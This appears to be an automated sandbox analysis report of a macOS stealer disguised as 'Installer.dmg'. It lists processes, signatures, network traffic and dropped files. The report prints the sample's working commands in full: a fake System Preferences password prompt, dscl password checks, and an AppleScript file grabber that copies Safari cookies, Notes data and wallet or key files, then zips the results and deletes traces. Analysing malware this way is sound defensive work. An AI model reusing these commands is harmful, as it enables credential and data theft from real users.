Malware Analysis Report

2024-10-16 06:37

Sample ID 240618-lnb7ksxgrc
Target Installer.dmg
SHA256 0f0990b5b920ce4b3cc2bf67e53f59f323d138c626b1e9650fa393ee2fc33bc5
Tags
discovery evasion execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

0f0990b5b920ce4b3cc2bf67e53f59f323d138c626b1e9650fa393ee2fc33bc5

Threat Level: Shows suspicious behavior

The file Installer.dmg was found to be: Shows suspicious behavior.

Malicious Activity Summary

discovery evasion execution

System Checks

Queries the macOS version information.

File Deletion

AppleScript

Resource Forking

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-18 09:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-18 09:40

Reported

2024-06-18 09:41

Platform

macos-20240611-en

Max time kernel

36s

Max time network

42s

Command Line

[sh -c sudo /bin/zsh -c "open /Volumes/Installer"]

Signatures

Queries the macOS version information.

discovery
Description Indicator Process Target
N/A sh -c sw_vers N/A N/A
N/A sw_vers N/A N/A

System Checks

evasion
Description Indicator Process Target
N/A sh -c "system_profiler SPHardwareDataType" N/A N/A
N/A system_profiler SPHardwareDataType N/A N/A

File Deletion

evasion

AppleScript

execution
Description Indicator Process Target
N/A osascript -e "tell application \"Terminal\" to set visible of front window to false" N/A N/A
N/A sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'" N/A N/A
N/A osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer" N/A N/A
N/A sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"872859592\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"872859592:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'" N/A N/A
N/A osascript -e "set baseFolderPath to (path to home folder as text) & \"872859592\"" -e "set fileGrabberFolderPath to (path to home folder as text) & \"872859592:FileGrabber:\"" -e "tell application \"Finder\"" -e "set username to short user name of (system info)" -e try -e "if not (exists folder fileGrabberFolderPath) then" -e "make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}" -e "end if" -e "set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")" -e try -e "duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing" -e "end try" -e "set homePath to path to home folder as string" -e "set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"" -e try -e "duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "end try" -e "set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}" -e "set desktopFiles to every file of desktop" -e "set documentsFiles to every file of folder \"Documents\" of (path to home folder)" -e "repeat with aFile in (desktopFiles & documentsFiles)" -e "set fileExtension to name extension of aFile" -e "if fileExtension is in extensionsList then" -e "set fileSize to size of aFile" -e "if fileSize ≤ 51200 then" -e "duplicate aFile to folder fileGrabberFolderPath with replacing" -e "end if" -e "end if" -e "end repeat" -e "end try" -e "end tell" N/A N/A
N/A sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'" N/A N/A
N/A osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop" N/A N/A
N/A sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'" N/A N/A

Resource Forking

evasion
Description Indicator Process Target
N/A /System/Library/Frameworks/Security.framework/Versions/A/Resources/CloudKeychainProxy.bundle/Contents/MacOS/CloudKeychainProxy N/A N/A
N/A /System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper N/A N/A
N/A /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper N/A N/A

Processes

/bin/sh

[sh -c sudo /bin/zsh -c "open /Volumes/Installer"]

/bin/bash

[sh -c sudo /bin/zsh -c "open /Volumes/Installer"]

/usr/bin/sudo

[sudo /bin/zsh -c open /Volumes/Installer]

/bin/zsh

[/bin/zsh -c open /Volumes/Installer]

/usr/bin/open

[open /Volumes/Installer]

/usr/libexec/xpcproxy

[xpcproxy com.apple.spindump]

/usr/sbin/spindump

[/usr/sbin/spindump]

/usr/libexec/xpcproxy

[xpcproxy com.apple.tailspind]

/usr/libexec/xpcproxy

[xpcproxy com.apple.spindump_agent]

/usr/libexec/tailspind

[/usr/libexec/tailspind]

/usr/libexec/spindump_agent

[/usr/libexec/spindump_agent]

/usr/libexec/xpcproxy

[xpcproxy com.apple.pbs]

/System/Library/CoreServices/pbs

[/System/Library/CoreServices/pbs]

/usr/libexec/xpcproxy

[xpcproxy com.apple.TextInputMenuAgent]

/System/Library/CoreServices/TextInputMenuAgent.app/Contents/MacOS/TextInputMenuAgent

[/System/Library/CoreServices/TextInputMenuAgent.app/Contents/MacOS/TextInputMenuAgent]

/usr/libexec/xpcproxy

[xpcproxy com.apple.TextInputSwitcher]

/System/Library/CoreServices/TextInputSwitcher.app/Contents/MacOS/TextInputSwitcher

[/System/Library/CoreServices/TextInputSwitcher.app/Contents/MacOS/TextInputSwitcher]

/usr/libexec/xpcproxy

[xpcproxy com.apple.security.cloudkeychainproxy3]

/System/Library/Frameworks/Security.framework/Versions/A/Resources/CloudKeychainProxy.bundle/Contents/MacOS/CloudKeychainProxy

[/System/Library/Frameworks/Security.framework/Versions/A/Resources/CloudKeychainProxy.bundle/Contents/MacOS/CloudKeychainProxy]

/usr/libexec/xpcproxy

[xpcproxy com.apple.quicklook.ui.helper]

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper

[/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper]

/usr/libexec/xpcproxy

[xpcproxy com.apple.Terminal.2100]

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal

[/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal]

/usr/libexec/xpcproxy

[xpcproxy com.apple.metadata.mdwrite]

/usr/libexec/xpcproxy

[xpcproxy com.apple.siri.context.service]

/System/Library/PrivateFrameworks/ContextKit.framework/Versions/A/XPCServices/ContextService.xpc/Contents/MacOS/ContextService

[/System/Library/PrivateFrameworks/ContextKit.framework/Versions/A/XPCServices/ContextService.xpc/Contents/MacOS/ContextService]

/usr/bin/login

[login -pf run]

/usr/libexec/xpcproxy

[xpcproxy com.apple.audio.systemsoundserverd]

/usr/sbin/systemsoundserverd

[/usr/sbin/systemsoundserverd]

/usr/bin/login

[login -pf run]

/usr/libexec/xpcproxy

[xpcproxy com.apple.audio.AudioComponentRegistrar]

/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar

[/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon]

/usr/libexec/xpcproxy

[xpcproxy com.apple.AccountPolicyHelper]

/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper

[/System/Library/PrivateFrameworks/AccountPolicy.framework/XPCServices/com.apple.AccountPolicyHelper.xpc/Contents/MacOS/com.apple.AccountPolicyHelper]

/bin/zsh

[-zsh]

/bin/zsh

[-zsh]

/usr/libexec/path_helper

[/usr/libexec/path_helper -s]

/usr/libexec/path_helper

[/usr/libexec/path_helper -s]

/usr/bin/locale

[locale LC_CTYPE]

/usr/bin/locale

[locale LC_CTYPE]

/Volumes/Installer/Installer

[/Volumes/Installer/Installer]

/bin/sh

[sh -c osascript -e 'tell application "Terminal" to set visible of front window to false']

/bin/bash

[sh -c osascript -e 'tell application "Terminal" to set visible of front window to false']

/usr/bin/osascript

[osascript -e tell application "Terminal" to set visible of front window to false]

/bin/sh

[sh -c mkdir /Users/run/872859592]

/bin/bash

[sh -c mkdir /Users/run/872859592]

/bin/mkdir

[mkdir /Users/run/872859592]

/bin/sh

[sh -c sw_vers]

/bin/bash

[sh -c sw_vers]

/usr/bin/sw_vers

[sw_vers]

/bin/sh

[sh -c system_profiler SPHardwareDataType]

/bin/bash

[sh -c system_profiler SPHardwareDataType]

/usr/sbin/system_profiler

[system_profiler SPHardwareDataType]

/usr/libexec/xpcproxy

[xpcproxy com.apple.icloud.findmydeviced]

/usr/libexec/findmydeviced

[/usr/libexec/findmydeviced]

/bin/sh

[sh -c system_profiler SPDisplaysDataType]

/bin/bash

[sh -c system_profiler SPDisplaysDataType]

/usr/sbin/system_profiler

[system_profiler SPDisplaysDataType]

/bin/sh

[sh -c dscl /Local/Default -authonly run ""]

/bin/bash

[sh -c dscl /Local/Default -authonly run ""]

/usr/bin/dscl

[dscl /Local/Default -authonly run ]

/bin/sh

[sh -c osascript -e 'display dialog "To launch the application, you need to update the system settings \n\nPlease enter your password." with title "System Preferences" with icon caution default answer "" giving up after 30 with hidden answer']

/bin/bash

[sh -c osascript -e 'display dialog "To launch the application, you need to update the system settings \n\nPlease enter your password." with title "System Preferences" with icon caution default answer "" giving up after 30 with hidden answer']

/usr/bin/osascript

[osascript -e display dialog "To launch the application, you need to update the system settings \n\nPlease enter your password." with title "System Preferences" with icon caution default answer "" giving up after 30 with hidden answer]

/usr/libexec/xpcproxy

[xpcproxy com.apple.ReportCrash.Root]

/System/Library/CoreServices/ReportCrash

[/System/Library/CoreServices/ReportCrash daemon]

/usr/libexec/xpcproxy

[xpcproxy com.apple.ReportMemoryException]

/usr/libexec/ReportMemoryException

[/usr/libexec/ReportMemoryException]

/bin/sh

[sh -c dscl /Local/Default -authonly run root]

/bin/bash

[sh -c dscl /Local/Default -authonly run root]

/usr/bin/dscl

[dscl /Local/Default -authonly run root]

/bin/sh

[sh -c mkdir -p '/Users/run/872859592/Chromium/Chrome']

/bin/bash

[sh -c mkdir -p '/Users/run/872859592/Chromium/Chrome']

/bin/mkdir

[mkdir -p /Users/run/872859592/Chromium/Chrome]

/bin/sh

[sh -c osascript -e 'set baseFolderPath to (path to home folder as text) & "872859592"' -e 'set fileGrabberFolderPath to (path to home folder as text) & "872859592:FileGrabber:"' -e 'tell application "Finder"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:"FileGrabber"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")' -e 'try' -e 'duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & "Library:Group Containers:group.com.apple.notes:"' -e 'try' -e 'duplicate file "NoteStore.sqlite" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder "Documents" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell']

/bin/bash

[sh -c osascript -e 'set baseFolderPath to (path to home folder as text) & "872859592"' -e 'set fileGrabberFolderPath to (path to home folder as text) & "872859592:FileGrabber:"' -e 'tell application "Finder"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:"FileGrabber"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")' -e 'try' -e 'duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & "Library:Group Containers:group.com.apple.notes:"' -e 'try' -e 'duplicate file "NoteStore.sqlite" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder "Documents" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell']

/usr/bin/osascript

[osascript -e set baseFolderPath to (path to home folder as text) & "872859592" -e set fileGrabberFolderPath to (path to home folder as text) & "872859592:FileGrabber:" -e tell application "Finder" -e set username to short user name of (system info) -e try -e if not (exists folder fileGrabberFolderPath) then -e make new folder at folder baseFolderPath with properties {name:"FileGrabber"} -e end if -e set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:") -e try -e duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing -e end try -e set homePath to path to home folder as string -e set sourceFilePath to homePath & "Library:Group Containers:group.com.apple.notes:" -e try -e duplicate file "NoteStore.sqlite" of folder sourceFilePath to folder baseFolderPath with replacing -e end try -e set extensionsList to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key"} -e set desktopFiles to every file of desktop -e set documentsFiles to every file of folder "Documents" of (path to home folder) -e repeat with aFile in (desktopFiles & documentsFiles) -e set fileExtension to name extension of aFile -e if fileExtension is in extensionsList then -e set fileSize to size of aFile -e if fileSize ≤ 51200 then -e duplicate aFile to folder fileGrabberFolderPath with replacing -e end if -e end if -e end repeat -e end try -e end tell]

/usr/libexec/xpcproxy

[xpcproxy com.apple.ReportCrash]

/System/Library/CoreServices/ReportCrash

[/System/Library/CoreServices/ReportCrash agent]

/usr/libexec/xpcproxy

[xpcproxy com.apple.bird]

/System/Library/PrivateFrameworks/CloudDocsDaemon.framework/Versions/A/Support/bird

[/System/Library/PrivateFrameworks/CloudDocsDaemon.framework/Versions/A/Support/bird]

/usr/libexec/xpcproxy

[xpcproxy com.apple.sandboxd]

/usr/libexec/sandboxd

[/usr/libexec/sandboxd]

/usr/libexec/xpcproxy

[xpcproxy com.apple.DesktopServicesHelper.03C678D0-2AC8-482D-A30D-E37183659CA6]

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper

[/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper]

/bin/sh

[sh -c ditto -c -k --sequesterRsrc --keepParent /Users/run/872859592 /Users/run/872859592.zip --norsrc --noextattr]

/bin/bash

[sh -c ditto -c -k --sequesterRsrc --keepParent /Users/run/872859592 /Users/run/872859592.zip --norsrc --noextattr]

/usr/bin/ditto

[ditto -c -k --sequesterRsrc --keepParent /Users/run/872859592 /Users/run/872859592.zip --norsrc --noextattr]

/bin/sh

[sh -c rm -rf /Users/run/872859592]

/bin/bash

[sh -c rm -rf /Users/run/872859592]

/bin/rm

[rm -rf /Users/run/872859592]

/bin/sh

[sh -c rm /Users/run/872859592.zip]

/bin/bash

[sh -c rm /Users/run/872859592.zip]

/bin/rm

[rm /Users/run/872859592.zip]

/bin/sh

[sh -c osascript -e 'display dialog "Some error occurred while running the application." buttons {"OK"} default button 1 with icon stop']

/bin/bash

[sh -c osascript -e 'display dialog "Some error occurred while running the application." buttons {"OK"} default button 1 with icon stop']

/usr/bin/osascript

[osascript -e display dialog "Some error occurred while running the application." buttons {"OK"} default button 1 with icon stop]

/bin/sh

[sh -c /usr/sbin/kextstat]

/bin/bash

[sh -c /usr/sbin/kextstat]

/usr/sbin/kextstat

[/usr/sbin/kextstat]

Network

Country Destination Domain Proto
US 8.8.8.8:53 mobile.events.data.trafficmanager.net udp
US 20.189.173.6:443 tcp
US 8.8.8.8:53 api.apple-cloudkit.fe2.apple-dns.net udp
US 8.8.8.8:53 b._dns-sd._udp.0.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 db._dns-sd._udp.0.0.127.10.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 bag-cdn.itunes-apple.com.akadns.net udp
DE 77.91.77.40:80 77.91.77.40 tcp

Files

/dev/ttys001

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

/private/var/db/spindump/tailspin-trace.2024-06-18_09-40-32.tailspin

MD5 28ef70695a12ad43435f4f405989261a
SHA1 758dfbac18b730befb91f90e336c375665c5adef
SHA256 283b983cb1e91c7a7d28bb1b5530af98faaea74bc45a5afa4624687ae4e1eeba
SHA512 464125baec51bf7129a7db291735302857d9ca1bd9452c51a95ec0e0eb85280c468d1cdbc46c9d1b1815367b70fd021d4125d118c38fdf2f504b62c6afe41c3d

/Users/run/./872859592/password-entered

MD5 63a9f0ea7bb98050796b649e85481845
SHA1 dc76e9f0c0006e8f919e0c515c66dbba3982f785
SHA256 4813494d137e1631bba301d5acab6e7bb7aa74ce1185d456565ef51d737677b2
SHA512 99adc231b045331e514a516b4b7680f588e3823213abe901738bc3ad67b2f6fcb3c64efb93d18002588d3ccc1a49efbae1ce20cb43df36b38651f11fa75678e8

/Users/run/./872859592/Sysinfo.txt

MD5 31717a21202f4dbab34a72c86ae4f3f2
SHA1 78fab4a3136000513a8f66f2d81d19cb2473338d
SHA256 6e50323737f1ebceb1d9f4e1fb36e5b02ff684de7711f54df08128e966f130da
SHA512 4c79b4b4705b897f2e43aec1ad622df2af929fc58a4e7c44d052b2e39c789bb266d4efc150e00896ac530aede6187c60dba572e78ada2b620f2f4e46f0c6cf5c

/Users/run/./872859592/Chromium/Chrome/Password1

MD5 b6914d8e5cb470236eceed8d6f8b4fb7
SHA1 cdff8880e9fa7630fc8d57af4669365b5ab29b60
SHA256 45bda2415419c24d2526ae60cae5ee1d66bc8d2cc986bb9e94c0f3c414af06c1
SHA512 1c491cfeb2b883ed20a43e16d7bf620520f4b770c8727ffb83e02554aa6aa54def4732460bcff82014050f7a1fba38e01f5570cacfbfcef6da6f2f795dc56ee7

/Users/run/./872859592/Chromium/Chrome/Cookies2

MD5 2a3fa78b5f55b529a2698ad187c80204
SHA1 cbbda35512038de511ac23b0aed12e9e86bcc796
SHA256 d52ad17cc5096119732f06311ef2e25005c2a00f551c9684e2d655cbc846455b
SHA512 e9b113ec0c6a888e059cf625b0bfb128d11a55970fed12df30848c9f836c5f36b2660abb4e2a820e7dedd6f0ead312edec1c6cd645f14091d98b42f696bda9ab

/Users/run/./872859592/Chromium/Chrome/Autofill0

MD5 4e9060f76c1cb5b54005dc6640a58f0d
SHA1 04a1e6791ae55612d9b63f23ccb37eec398b3d27
SHA256 5b6dd3116e1d3ecbf6d07ecfc03f1537ab00ce91336cc7c6cddda6df0c9984d3
SHA512 be921e02bb810fb867c1de3e3c2a9c3b04c84188d6a9eae60b73558bd4748c1451161da8fba2c8e74f225be4b8a6f0e98276fe1e397b0083fcbbd4ebdf32e148

/Users/run/./872859592/login-keychain

MD5 6b123b4a621774ddd73a78e492f5faaf
SHA1 ad414c7f53a57b60b1b6c02dfb843a572666779b
SHA256 3bd7b5579970b615856ff01c93926f8b7ee58f37ae11458a141f909add758a2a
SHA512 dad5a7ea69980a7a81b0b7a1d1fa1939f6e0a99b9b8dd0ddb42116e36b2ce06c954721e357f6feb76765a28d0151538da28313d529cd0ca4a4a0e8a986dd87cf